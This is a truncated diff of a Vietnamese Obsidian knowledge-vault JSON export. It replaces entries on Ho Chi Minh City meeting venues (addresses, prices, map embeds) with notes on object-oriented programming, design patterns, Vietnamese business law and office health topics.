"Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-21T04:54:00.000Z", - "Ngày cập nhật": "2024-08-24T13:54:00.000Z", - "id": "TB" + "Ngày tạo": "2023-07-25T13:27:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TP" }, { - "Tiêu đề": "Viễn Đông", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Viễn Đông", + "Tiêu đề": "Lập trình hướng vật thể", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "806 Âu Cơ, P.14, Q. Tân Bình", - "Toàn bộ nội dung": "Địa chỉ:: 806 Âu Cơ\nQuận:: Tân Bình\nGiá:: 0\nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ:: 0901862096\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Đặt phòng tối đa 2 lần/tháng\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.257019819968!2d106.63725167511758!3d10.791616358913204!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752eb274d2880f%3A0x22c060ddea9b8f46!2zQ8O0bmcgVHkgQ1AgxJDhuqd1IFTGsCBQaMOhdCBUcmnhu4NuIFRoxrDGoW5nIE3huqFpIFZp4buFbiDEkMO0bmcu!5e0!3m2!1sen!2s!4v1724399970068!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T07:59:00.000Z", - "id": "TC" + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TQ" }, { - "Tiêu đề": "Zest X Space", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Zest X Space", + "Tiêu đề": "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Nguyên lý/Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "11 Trần Quý Khoách, P. Tân Định, Q1", - "Toàn bộ nội dung": "```dataviewjs\nconst a = dv.current().file.path\nconst file = await app.vault.cachedRead(app.vault.getAbstractFileByPath(a))\ndv.span(a)\nconsole.log(file)\n```\nĐịa chỉ:: 11 Trần Quý Khoách, P. Tân Định, Q1\n\n| Giờ `→`<br>Phòng `↓` | 1h | 4h | 8h |\n| -------------------- | ---- | ---- | ------ |\n| 14 người | 375k | 1tr5 | 2tr7 |\n| 25 người | 700k | 2tr8 | 5tr40k |\n| 45 người | | | |\nƯu đãi giá:: \n\nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: https://www.facebook.com/zestxspace/posts/pfbid034YWPqW6iFPeAfD9XvNKiGbTwBc8LVELNPdjf5A7eJMyPud8qjMEagQLgBSJ2Mn6Wl\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n- Không vận động cơ thể được\n- Giá chưa bao gồm thuế\n\nĐiểm cộng:\n- [x] Webcam \n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.2336766060125!2d106.68627897511753!3d10.793406558880159!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3175291f155de703%3A0x46a5f2db5ea1079a!2zWkVTVCBYIFNQQUNFIC0gS2jDtG5nIGdpYW4gc8OhbmcgdOG6oW8!5e0!3m2!1sen!2s!4v1724399795635!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n", + "Toàn bộ nội dung": "### Không phân biệt giữa giao diện – logic – dữ liệu\n\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\n\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\n\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\n\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\n\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\n\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\n\n\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-22T08:13:00.000Z", - "Ngày cập nhật": "2024-08-29T17:14:00.000Z", - "id": "TD" + "Ngày tạo": "2023-07-22T05:00:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TR" }, { - "Tiêu đề": "Flat White", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/Flat White", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Nguyên lý/Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "274 Lý Tự Trọng, Q1", - "Toàn bộ nội dung": "Địa chỉ:: 274 Lý Tự Trọng, Q1\nSố người tối đa:: 20\n\nGiá nước:: 45k\nƯu đãi giá:: Mua 20 ly giảm 20% trừ bánh kem, bánh mặn\nGiá giữ xe:: 5k \n \nLiên hệ::\nWebsite::\nFacebook:: [Flat White Coffee](https://www.facebook.com/flatwhitesaigon)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Giá giữ xe tối đa 15 chiếc, nếu nhiều hơn phải gửi ở ngoài, giá 10k\n\nLưu ý:\n- Cần đặt chỗ trước\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n\n![](https://i.imgur.com/WJY1j7a.jpeg)\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.5151715646152!2d106.6936636!3d10.771799!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f10acbba6bd%3A0x6b611977cffb6792!2sFlat%20White%20Coffee!5e0!3m2!1sen!2s!4v1724492332443!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", + "Toàn bộ nội dung": "Nguồn:: ![Nhập môn Design Pattern siêu tốc trong 10 phút - YouTube](https://youtu.be/eiWnblyjw58)\r\nNguồn:: [Hướng dẫn tự học Design Pattern trong C# | Tự học ICT](https://tuhocict.com/huong-dan-tu-hoc-design-pattern-trong-c/)\r\n**Tại sao phải biết Design Patterns?**\r\n\r\nNhư Kiên đã đề cập ở trên, **design patterns** **được đúc kết bằng kinh nghiệm và là cách giải quyết chung cho các vấn đề trong thiết kế phần mềm**. Chính vì vậy nếu chúng ta hiểu rõ design patterns thì khi chúng ta đối mặt một tình huống hay một vấn đề nào đó, chúng ta có thể áp dụng design patterns và **vấn đề có thể được giải quyết một cách nhanh chóng và hiệu quả nhất**.\r\n\r\nNgoài ra, nếu chúng ta áp dụng tốt design patterns, nó sẽ giúp **giải pháp của chúng ta dễ hiểu, dễ trình bày, hệ thống của chúng ta linh hoạt, dễ bảo trì, dễ test hơn**.\r\n\r\nĐối với bản thân các developer, việc hiểu rõ design patterns sẽ giúp **năng suất làm việc cải thiện, giá trị bản thân ngày càng tăng**, **đóng vai trò then chốt (key member)** trong các dự án mà mình tham gia, đó cũng là **đảm bảo cho quyền lợi, lợi ích của chúng ta** sau này.\r\n\r\nNgoài ra chúng ta cũng biết ngành lập trình là ngành có mức độ phát triển, thay đổi khá nhanh, các công nghệ, ngôn ngữ, thư viện...cập nhật liên tục cũng sẽ khiến chúng ta phải liên tục cập nhật theo. Nhưng luôn có những giá trị cốt lõi trong bất kì ngành nghề nào, và **OOP và design patterns chính là một trong các giá trị cốt lỗi trong lập trình**, nó sẽ giúp bạn vững vàng và mạnh mẽ hơn trong thời đại công nghệ này.\r\n\r\n**Vậy ai là người nên biết về Design Patterns?**\r\n\r\nDesign patterns được sử dụng rất rộng rãi trong thiết kế phần mềm, **đôi khi chúng ta đã thật sự biết đến nó và áp dụng nó vào các dự án, vào code của mình mà không nhận ra**, vì đôi khi đó là những design pattern rất đơn giản. Chính vì vậy, việc có cái nhìn tổng quát lại design patterns vô cùng bổ ích cho chúng ta - những developer.\r\n\r\nNgoài ra, trong thiết kế phần mềm nói chung và phát triển dự án nói riêng, việc tìm giải pháp và áp dụng design patterns thường được giao cho các key member, các senior developer. Do đó ngoài các senior developers cần củng cố kiến thức về design pattern, mà các junior developers, thậm chí là các bạn sinh viên, thực tập thì sự hiểu biết về design patterns là rất quan trọng và cần thiết để đóng vai trò quan trọng trong các dự án hay tổ chức mà mình tham gia.\r\nNguồn:: [Kiên's Blog - Góc .NET: Design Patterns trong các dự án thực tế - Design Patterns là gì?](https://kienchu.blogspot.com/2016/06/hoc-design-pattern-qua-cac-vi-du-thuc-te.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-28T10:00:00.000Z", - "id": "TE" + "Ngày tạo": "2023-07-11T10:12:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TS" }, { - "Tiêu đề": "ME", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/ME", + "Tiêu đề": "Lập trình web", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình web", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "5 Cao Thắng, Q3", - "Toàn bộ nội dung": "Địa chỉ:: 5 Cao Thắng, Q3\nGiá nước:: 45k\nƯu đãi giá:: \nSố lượng:: [5, 10]\n\nGiá giữ xe:: 7k\nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa:: [22h]\n\n## Lưu ý\n- Xe lăn không tiếp cận được\n\n## Điểm cộng\n- Có đàn hoặc sân khấu nhỏ\n- Loa và mic\n\n## Ghi chú\n- Ghế nhiều cái bị lỏng vít nên ngồi hơi lỏng lẻo. Chịu khó lật ra sau bắt chặt lại vít là được. \n- Quán dùng TV làm máy chiếu nhưng chỉ có đầu HDMI, nếu lap của bạn chỉ có đầu USB-C thì phải đem sẵn đầu chuyển. Máy chiếu không quá rõ nét.\n- Nước ở đây không ngon lắm. Có thể đem theo trà hoặc milo của mình để tự pha rồi trả tiền phòng thôi.\n- Gửi ngay chung cư thì đắt. Gửi ở chung cư kế bên rẻ hơn", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật:: [[Host, domain, CDN]], [[HTML]], [[Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?]], [[Mkdocs]]\n\nXem thêm:: [[Tạo website]]\n## Nơi thảo luận\n![](https://i.imgur.com/4fq665i.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-28T10:00:00.000Z", - "id": "TF" + "Ngày cập nhật": "2024-09-02T10:07:00.000Z", + "id": "TT" }, { - "Tiêu đề": "Quán có phòng riêng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/Quán có phòng riêng", + "Tiêu đề": "Hộ kinh doanh với cá nhân kinh doanh là một", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Hộ kinh doanh với cá nhân kinh doanh là một", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!Info] Hướng dẫn sử dụng\n> Giá = giá nước + giá gửi xe. Giá nước là giá của món đắt nhất trong 5 món rẻ nhất. Chi tiết đọc bài [[Nơi gặp mặt trực tiếp]]\n\n```dataviewjs\ndv.table([1,2] , [])\ndv.view(\"Ξ Thiết lập/Script/Nơi gặp mặt trực tiếp\")\n```", + "Toàn bộ nội dung": "Lịch sử là từ thời Mao Trạch Đông, khi giao đất cho một hộ gia đình, không quan tâm hộ đó bao nhiêu người\n\nHộ kinh doanh mới được xuất hoá đơn\n\nNguồn:: [[Mỹ Hạnh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-30T06:34:00.000Z", - "id": "TG" + "Ngày tạo": "2023-07-16T03:13:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "TU" }, { - "Tiêu đề": "Tonkin", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán có phòng riêng/Tonkin", + "Tiêu đề": "Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Luật VN không định nghĩa doanh nghiệp, mà chỉ nói về các yếu tố tạo nên nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giá nước:: 0\nGiờ mở cửa:: 8:00 - 21:00\nLiên hệ:: 867990125\nWebsite:: [The best cafe](https://tonkin.coffee/aboutbestcoffee/)\nFacebook:: [Tonkin Specialty Coffee | Ho Chi Minh City | Facebook](https://www.facebook.com/tonkinspecialtycoffee)\n\n| Chi nhánh | 91 Lý Tự Trọng, Q1 | 135/50 Trần Hưng Đạo, Q1 |\n| ---------- | -------------------------------------------- | ------------------------ |\n| Giá giữ xe | 10k | 0 |\n| Số lượng | 30 người | 10 người |\n| Ghi chú | Lối vào nhỏ, dễ khuất, phải nhìn kỹ mới thấy | |\n| Lưu ý | Xe lăn không tiếp cận được | |\n| Điểm cộng | Không gian ngoài trời | |\n\n## Lưu ý\n- Không có loa và mic\n- Cần đặt chỗ trước\n\n## Ghi chú\n- Chỉ miễn phí với các sự kiện phi lợi nhuận\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d15678.352274790179!2d106.68517924955465!3d10.766196428979539!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752fc740afa7cd%3A0xd1e4a0b284d44d60!2sTonkin%20Specialty%20Coffee!5e0!3m2!1sen!2s!4v1724402315844!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.5884091119547!2d106.69290407511733!3d10.766170259382694!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f7dc7be2ff3%3A0xe0c8c3d04f75aa34!2sTonkin%20Garden%20Coffee%20%26%20Eatery%20%5BCafe%20%26%20Croissant%5D!5e0!3m2!1sen!2s!4v1724401916845!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>\n", + "Toàn bộ nội dung": "Tài sản: có 3 cách chính:\n- Góp vốn\n- Huy động vốn ngân hàng\n- Lợi nhuận trong lúc hoạt động\n\n- Trụ sở kinh doanh\n- Con dấu \n\n| Các yếu tố cần phải có | VN | Nước ngoài |\n| ---------------------- | ---------------------------------------- | ---------- |\n| Tên gọi | Cần | |\n| Tài sản | Cần | |\n| Trụ sở | Cần | |\n| Con dấu | là gì cũng được, nhưng cần có tên và MST | Không cần |\n| BHXH | | |\n[[Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi]]\n\n| Loại hình | Doanh nghiệp tư nhân | TNHH một thành viên | Hợp danh | Cổ phần |\n| ------------------ | ------------------------------ | ---------------------------------------- | ------------------------------------------------------------------------------- | ----------------------------------------- |\n| Vốn và trách nhiệm | Nếu phá sản thì chỉ bị lấy hết | Nếu phá sản thì chỉ bị mất phần khai báo | Xoay quanh danh tiếng của một cá nhân, vốn không quan trọng. Trách nhiệm vô hạn | Bắt buộc phải phát hành cổ phiếu |\n| Số chủ sở hữu | | 1 | | |\n| Quy mô | | 2 - 50 | | 3 người trở lên |\n| | | Cứ là thành viên thì là quyền ngang nhau | | Ai nắm nhiều cổ phần hơn thì có quyền hơn |\n\n[[Hộ kinh doanh với cá nhân kinh doanh là một]] \n\n## Nếu phá sản mà có kết hôn thì sao?\n- Tài sản chung: Cái gì làm từ ngày kết hôn là của chung hết. bỏ 1 đồng vẫn có quyền ngang nhau\n\nCâu hỏi:: Hợp tác xã\nNguồn:: [[Mỹ Hạnh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-29T12:24:00.000Z", - "id": "TH" + "Ngày tạo": "2023-07-16T02:34:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "TV" }, { - "Tiêu đề": "Mr Bean", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán không có phòng riêng/Mr Bean", + "Tiêu đề": "Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Pháp luật/Rất nhiều luật không thể tốt hơn là vì không thể quản lý nổi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Địa chỉ:: [276 Cô Bắc, Q1]\nGiá:: 30k-50k\nGiờ đóng cửa:: 22h\n\nCó loa mic:: 0\nGiá giữ xe:: ✔\nLiên hệ:: \nLưu ý:: đèn không biết lúc nào sẽ bị giựt\n\n\nĐược nói to:: ✔\nKhông bị ồn từ bên ngoài:: 5\nBàn phù hợp cho việc dùng laptop:: ✔\nCó thể vận động cơ thể:: 7\nNước ngon:: ✔\nKhông gian tạo cảm hứng:: 5\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-22T19:35:00.000Z", - "id": "TI" + "Ngày tạo": "2023-07-16T03:04:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "TW" }, { - "Tiêu đề": "Quán không có phòng riêng ở TPHCM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Quán không có phòng riêng/Quán không có phòng riêng", + "Tiêu đề": "Phát triển cộng đồng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Phát triển cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Không bị ồn từ bên ngoài:: ❌\nNhà vệ sinh:: ✔\nĐược nói to:: tuỳ\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Quán không có phòng riêng ở TPHCM\"\nWhere file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "- [Community Tool Box](https://ctb.ku.edu/en \"Community Tool Box\")\n- [DIY Toolkit](https://www.youtube.com/channel/UCaFaJ4p8lGYerzQIFzu-LjA \"DIY Toolkit - YouTube\")", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-18T04:21:00.000Z", - "Ngày cập nhật": "2024-08-23T14:56:00.000Z", - "id": "TJ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "TX" }, { - "Tiêu đề": "Nơi gặp mặt trực tiếp tại TPHCM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/TP.HCM", + "Tiêu đề": "Sắp chữ, thiết kế, xuất bản", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sắp chữ, thiết kế, xuất bản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataviewjs\ndv.span(app.metadataCache)\n```", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[WYSIWYM]]\nGiải pháp kỹ thuật:: [[Zotero]]\nGiải pháp kỹ thuật:: [[RStudio]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T10:48:00.000Z", - "id": "TK" + "Ngày cập nhật": "2024-09-01T14:10:00.000Z", + "id": "TY" }, { - "Tiêu đề": "Công viên", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng/Công viên", + "Tiêu đề": "Thoái hóa cột sống", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Thoái hóa cột sống", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "=địa chỉ", - "Toàn bộ nội dung": "Địa chỉ:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Không có wifi và ổ điện\n- Không có nhà vệ sinh\n- Có loa làm ồn\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Nằm la liệt được\n- [x] Không gian ngoài trời\n- [x] Có đàn hoặc sân khấu nhỏ\n- [x] Nuôi chó mèo\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T08:58:00.000Z", - "id": "TL" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "TZ" }, { - "Tiêu đề": "Sân vườn chung cư GoldView", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng/Sân vườn chung cư GoldView", + "Tiêu đề": "Trĩ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Trĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Tầng 25, 346 Bến Vân Đồn, P1, Q4", - "Toàn bộ nội dung": "Địa chỉ:: Tầng 25, 346 Bến Vân Đồn, P1, Q4\nSố người tối thiểu:: \nSố người tối đa:: 30\n \nGiá giữ xe:: 5k\nLiên hệ:: https://www.facebook.com/quacau.sphere/\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Mở BBQ được\nGhi chú:: Chỉ được mượn 1 lần/tháng\n\nLưu ý:\n- Không có wifi và ổ điện\n- Không có nhà vệ sinh\n- Có loa làm ồn\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T08:58:00.000Z", - "id": "TM" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Ta" }, { - "Tiêu đề": "Địa điểm công cộng ở TPHCM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng/Địa điểm công cộng", + "Tiêu đề": "Viêm loét dạ dày", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Viêm loét dạ dày", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giá rẻ:: ✔\nỞ lại tới 23h:: ✔\nKhông gian tạo cảm hứng:: ✔\nĐược nói to:: ✔\nCó thể vận động cơ thể:: ✔\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Địa điểm công cộng ở TPHCM\"\nWhere file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T14:48:00.000Z", - "id": "TN" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tb" }, { - "Tiêu đề": "Chia sẻ kho tri thức của mình cho mọi người", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hợp tác/Chia sẻ kho tri thức của mình cho mọi người", + "Tiêu đề": "Đau ngực do trào ngược dạ dày", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Bệnh văn phòng/Đau ngực do trào ngược dạ dày", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nNhu cầu công nghệ:: [[Tạo web]]", + "Toàn bộ nội dung": "[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày 